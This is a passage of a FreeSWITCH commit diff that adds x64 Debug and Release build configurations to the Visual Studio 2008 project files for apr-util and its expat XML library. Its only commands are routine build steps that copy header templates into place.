 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -825,6 +1503,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\apr_dbm_sdbm.c"
@@ -840,6 +1528,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -849,6 +1547,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -867,6 +1575,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -875,6 +1592,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -894,6 +1620,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -903,6 +1639,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -922,6 +1668,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -931,6 +1687,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\ldap\apr_ldap_option.c"
@@ -946,6 +1712,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -955,6 +1731,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\ldap\apr_ldap_url.c"
@@ -970,6 +1756,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -979,6 +1775,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -998,6 +1804,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1007,6 +1823,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\misc\apr_queue.c"
@@ -1021,6 +1847,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -1029,6 +1864,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\misc\apr_reslist.c"
@@ -1044,6 +1888,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1053,6 +1907,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\misc\apr_rmm.c"
@@ -1068,6 +1932,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1077,6 +1951,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -1096,6 +1980,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1105,6 +1999,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\sdbm\sdbm_hash.c"
@@ -1120,6 +2024,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1129,6 +2043,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\sdbm\sdbm_lock.c"
@@ -1144,6 +2068,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1153,6 +2087,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\sdbm\sdbm_pair.c"
@@ -1168,6 +2112,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1177,6 +2131,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\sdbm\sdbm_pair.h"
@@ -1190,6 +2154,14 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCustomBuildTool"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1197,6 +2169,14 @@
 							Name="VCCustomBuildTool"
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCustomBuildTool"
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\sdbm\sdbm_private.h"
@@ -1210,6 +2190,14 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCustomBuildTool"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1217,6 +2205,14 @@
 							Name="VCCustomBuildTool"
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCustomBuildTool"
+						/>
+					</FileConfiguration>
 				</File>
 				<File
 					RelativePath="..\..\apr-util\dbm\sdbm\sdbm_tune.h"
@@ -1230,6 +2226,14 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCustomBuildTool"
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1237,6 +2241,14 @@
 							Name="VCCustomBuildTool"
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCustomBuildTool"
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -1256,6 +2268,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1265,6 +2287,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -1284,6 +2316,16 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						ExcludedFromBuild="true"
 						>
@@ -1293,6 +2335,16 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						ExcludedFromBuild="true"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 			<Filter
@@ -1311,6 +2363,15 @@
 						/>
 					</FileConfiguration>
 					<FileConfiguration
+						Name="Debug|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
+					<FileConfiguration
 						Name="Release|Win32"
 						>
 						<Tool
@@ -1319,6 +2380,15 @@
 							PreprocessorDefinitions=""
 						/>
 					</FileConfiguration>
+					<FileConfiguration
+						Name="Release|x64"
+						>
+						<Tool
+							Name="VCCLCompilerTool"
+							AdditionalIncludeDirectories=""
+							PreprocessorDefinitions=""
+						/>
+					</FileConfiguration>
 				</File>
 			</Filter>
 		</Filter>
@@ -1347,6 +2417,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apr_ldap.h from apr_ldap.hw"
+						CommandLine="if not exist ..\..\apr-util\include\apr_ldap.h type ..\..\apr-util\include\apr_ldap.hw &gt; ..\..\apr-util\include\apr_ldap.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\apr_ldap.h"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -1356,6 +2436,16 @@
 						Outputs="..\..\apr-util\include\apr_ldap.h"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apr_ldap.h from apr_ldap.hw"
+						CommandLine="if not exist ..\..\apr-util\include\apr_ldap.h type ..\..\apr-util\include\apr_ldap.hw &gt; ..\..\apr-util\include\apr_ldap.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\apr_ldap.h"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\include\apu.h.in"
@@ -1379,6 +2469,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu.h from apu.hw"
+						CommandLine="if not exist ..\..\apr-util\include\apu.h type ..\..\apr-util\include\apu.hw &gt; ..\..\apr-util\include\apu.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\apu.h"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -1388,6 +2488,16 @@
 						Outputs="..\..\apr-util\include\apu.h"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu.h from apu.hw"
+						CommandLine="if not exist ..\..\apr-util\include\apu.h type ..\..\apr-util\include\apu.hw &gt; ..\..\apr-util\include\apu.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\apu.h"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\include\private\apu_config.h.in"
@@ -1407,6 +2517,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu_config.h from apu_config.hw"
+						CommandLine="if not exist ..\..\apr-util\include\private\apu_config.h type ..\..\apr-util\include\private\apu_config.hw &gt; ..\..\apr-util\include\private\apu_config.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\private\apu_config.h"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -1416,6 +2536,16 @@
 						Outputs="..\..\apr-util\include\private\apu_config.h"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu_config.h from apu_config.hw"
+						CommandLine="if not exist ..\..\apr-util\include\private\apu_config.h type ..\..\apr-util\include\private\apu_config.hw &gt; ..\..\apr-util\include\private\apu_config.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\private\apu_config.h"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\include\private\apu_select_dbm.h.in"
@@ -1435,6 +2565,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu_select_dbm.h from apu_select_dbm.hw"
+						CommandLine="if not exist ..\..\apr-util\include\private\apu_select_dbm.h type ..\..\apr-util\include\private\apu_select_dbm.hw &gt; ..\..\apr-util\include\private\apu_select_dbm.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\private\apu_select_dbm.h"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -1444,6 +2584,16 @@
 						Outputs="..\..\apr-util\include\private\apu_select_dbm.h"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu_select_dbm.h from apu_select_dbm.hw"
+						CommandLine="if not exist ..\..\apr-util\include\private\apu_select_dbm.h type ..\..\apr-util\include\private\apu_select_dbm.hw &gt; ..\..\apr-util\include\private\apu_select_dbm.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\private\apu_select_dbm.h"
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\include\apu_want.h.in"
@@ -1467,6 +2617,16 @@
 					/>
 				</FileConfiguration>
 				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu_want.h from apu_want.hw"
+						CommandLine="if not exist ..\..\apr-util\include\apu_want.h type ..\..\apr-util\include\apu_want.hw &gt; ..\..\apr-util\include\apu_want.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\apu_want.h"
+					/>
+				</FileConfiguration>
+				<FileConfiguration
 					Name="Release|Win32"
 					>
 					<Tool
@@ -1476,6 +2636,16 @@
 						Outputs="..\..\apr-util\include\apu_want.h"
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCustomBuildTool"
+						Description="Creating apu_want.h from apu_want.hw"
+						CommandLine="if not exist ..\..\apr-util\include\apu_want.h type ..\..\apr-util\include\apu_want.hw &gt; ..\..\apr-util\include\apu_want.h&#x0D;&#x0A;"
+						Outputs="..\..\apr-util\include\apu_want.h"
+					/>
+				</FileConfiguration>
 			</File>
 		</Filter>
 		<Filter
@@ -1583,6 +2753,15 @@
 				/>
 			</FileConfiguration>
 			<FileConfiguration
+				Name="Debug|x64"
+				>
+				<Tool
+					Name="VCResourceCompilerTool"
+					PreprocessorDefinitions=""
+					AdditionalIncludeDirectories=""
+				/>
+			</FileConfiguration>
+			<FileConfiguration
 				Name="Release|Win32"
 				>
 				<Tool
@@ -1591,6 +2770,15 @@
 					AdditionalIncludeDirectories=""
 				/>
 			</FileConfiguration>
+			<FileConfiguration
+				Name="Release|x64"
+				>
+				<Tool
+					Name="VCResourceCompilerTool"
+					PreprocessorDefinitions=""
+					AdditionalIncludeDirectories=""
+				/>
+			</FileConfiguration>
 		</File>
 	</Files>
 	<Globals>

Modified: freeswitch/branches/seven/libs/win32/apr-util/xml.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/libs/win32/apr-util/xml.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/win32/apr-util/xml.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -11,6 +11,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -161,6 +164,154 @@
 				Name="VCPostBuildEventTool"
 			/>
 		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="2"
+				InlineFunctionExpansion="1"
+				AdditionalIncludeDirectories="$(ProjectDir)..\..\apr-util\xml\expat\lib\"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;VERSION=\&quot;expat_1.95.2\&quot;"
+				StringPooling="true"
+				RuntimeLibrary="2"
+				EnableFunctionLevelLinking="true"
+				PrecompiledHeaderFile=".\LibR/xml.pch"
+				AssemblerListingLocation=".\LibR/"
+				ObjectFile=".\LibR/"
+				ProgramDataBaseFileName="LibR\xml_src"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)\$(ProjectName).lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\LibR/xml.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="4"
+			UseOfMFC="0"
+			ATLMinimizesCRunTimeLibraryUsage="false"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalOptions="/EHsc "
+				Optimization="0"
+				AdditionalIncludeDirectories="$(ProjectDir)..\..\apr-util\xml\expat\lib\"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;VERSION=\&quot;expat_1.95.2\&quot;"
+				RuntimeLibrary="3"
+				PrecompiledHeaderFile=".\LibD/xml.pch"
+				AssemblerListingLocation=".\LibD/"
+				ObjectFile=".\LibD/"
+				ProgramDataBaseFileName="LibD\xml_src"
+				WarningLevel="3"
+				SuppressStartupBanner="true"
+				DebugInformationFormat="3"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+				Culture="1033"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLibrarianTool"
+				OutputFile="$(OutDir)\$(ProjectName).lib"
+				SuppressStartupBanner="true"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+				SuppressStartupBanner="true"
+				OutputFile=".\LibD/xml.bsc"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
 	</Configurations>
 	<References>
 	</References>
@@ -190,6 +341,24 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\xml\expat\lib\xmlrole.c"
@@ -212,6 +381,24 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\xml\expat\lib\xmltok.c"
@@ -234,6 +421,24 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\xml\expat\lib\xmltok_impl.c"
@@ -258,6 +463,26 @@
 						PreprocessorDefinitions=""
 					/>
 				</FileConfiguration>
+				<FileConfiguration
+					Name="Release|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
+				<FileConfiguration
+					Name="Debug|x64"
+					ExcludedFromBuild="true"
+					>
+					<Tool
+						Name="VCCLCompilerTool"
+						AdditionalIncludeDirectories=""
+						PreprocessorDefinitions=""
+					/>
+				</FileConfiguration>
 			</File>
 			<File
 				RelativePath="..\..\apr-util\xml\expat\lib\xmltok_ns.c"
